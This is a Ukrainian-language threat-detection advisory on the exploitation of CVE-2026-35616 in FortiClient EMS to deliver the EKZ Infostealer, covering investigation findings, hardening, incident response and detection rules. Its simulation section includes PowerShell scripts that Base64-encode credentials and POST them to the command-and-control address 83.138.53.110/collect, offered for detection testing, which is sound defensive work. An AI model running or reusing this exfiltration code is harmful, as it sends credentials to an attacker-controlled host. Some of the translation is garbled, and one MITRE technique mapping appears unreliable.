FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Arctic Wolf виявили кампанію, яка експлуатувала CVE-2026-35616 у FortiClient EMS для розповсюдження шкідливого сценарію PowerShell на керовані кінцеві точки. Цей сценарій отримував і запускав шкідливу програму, відому як EKZ Infostealer, під виглядом легітимного патчу Fortinet. Зловмисне програмне забезпечення збирало паролі браузера, кукі та інформацію автозаповнення, після чого перехоплені дані передавалися через HTTP. Зловживаючи довіреними конфігураційними каналами EMS, зловмисники могли швидко виконати шкідливий код між кількома керованими пристроями.
Розслідування
Дослідники відтворили експлойт, надсилаючи спеціально сформовані неаутентифіковані HTTP-запити до API FortiClient EMS, що призводило до змін конфігурації, які вставляли зловмисні скрипти. Траси виконання показали fortitray.exe or ipsec.exe викликаючи cmd.exe, який, у свою чергу, запускав закодовану у Base64 команду PowerShell, що завантажувала p.exe з шкідливої IP-адреси. Завантажений файл записував log.txt файл у ProgramData, відправляв зібрані дані назад на той самий сервер, а потім самовидалявся.
Захист
Організаціям слід оновити FortiClient EMS до версії, яка виправляє CVE-2026-35616 та обмежити доступ до API з дозволених IP адрес. Захисники також повинні перевірити логи EMS на наявність помилок, пов’язаних з сертифікатами, та на несподівані зміни у профілях віддаленого доступу. Вихідний HTTP-трафік з кінцевих точок до невідомих IP-адрес слід блокувати, а виконання сценаріїв у робочих процесах профілів VPN обмежити за допомогою контролю найменших привілеїв.
Відповідь
Якщо виявлено цю активність, негайно ізолюйте уражені хости, скасуйте будь-які несанкціоновані облікові записи EMS, які могли бути створені, та видаліть зловмисні сценарії з каталогу журналів FortiClient. Розслідувачі повинні зберегти log.txt артефакт, розрахувати хеші для зловмисних бінарників і шукати збіги індикаторів у середовищі. Потрібно скинути викриті облікові дані веб-браузера, а команди повинні стежити за підозрілою діяльністю автентифікації, яка може виникнути після крадіжки.
Потік атаки
Виявлення
Коротке ім’я файлу (через cmdline)
Перегляд
Підозріла робота CURL (через cmdline)
Перегляд
Виклик підозрілих методів .NET з Powershell (через powershell)
Перегляд
Можлива активність передачі даних Bits (через powershell)
Перегляд
IOCs (HashSha256) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
Перегляд
IOCs (HashSha1) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
Перегляд
IOCs (HashMd5) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
Перегляд
IOCs (SourceIP) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
Перегляд
IOCs (DestinationIP) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
Перегляд
Витік облікових даних EKZ Infostealer через HTTP POST [Підключення до мережі Windows]
Перегляд
FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer [Створення процесу Windows]
Перегляд
Виконання PowerShell через FortiClient для доставки EKZ Infostealer [Powershell Windows]
Перегляд
Виконання симуляції
Передумова: Телеметрія і базовий передпольотний контроль мають пройти успішно.
Аргументація: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди і наратив ПОВИННІ безпосередньо відображати визначені TTPs і спрямовані на генерування саме тієї телеметрії, яку очікує логіка виявлення. Абстрактні або нерелевантні приклади призведуть до неправильної діагностики.
-
Опис атаки та команди:
Атакуючий зібрав облікові дані з реєстру Windows (сімейство T1216) за допомогою EKZ Infostealer. Для передачі зібраного блобу шкідливе ПЗ запускає однолайновий PowerShell, який відправляє Base64-кодовані облікові дані на сервер командування та контролю за адресою83.138.53.110. Використання PowerShell (Invoke-WebRequest) – це класична техніка “живучи з правдою”, яка обходить засновані на бінарних виявлення, водночас роджуючи мережеву телеметрію, що спостерігається брандмауером.powershell # Симуляція облікового навантаження (Base64 від "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Скрипт тесту регресії: Цей самостійний PowerShell сценарій відтворює крок ексфільтрації і може бути перезапущений для майбутньої регресії.
powershell <# .SYNOPSIS Симуляція ексфільтрації облікових даних EKZ Infostealer (HTTP POST). .DESCRIPTION Генерує фальшивий обліковий блоб, кодує його та відправляє на відому шкідливу IP, що використовується у правилі виявлення. .NOTES Вимагає дозволеного вихідного HTTP до 83.138.53.110 на порту 80. #> # ---- Підготовка ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Виконання ---- try { Write-Host "[*] Відправлення блоба облікових даних на $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] HTTP Статус:" $resp.StatusCode } catch { Write-Error "[-] POST не вдався: $_" } # ---- Кінець сценарію ---- -
Команди очистки: Жодні постійні артефакти не створюються на диску, але для повноти ми закриваємо будь-які активні сесії веб-запитів і очищаємо змінні PowerShell.
powershell # Очистка змінних та закриття будь-яких відкритих веб-сесій Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Очистка завершена."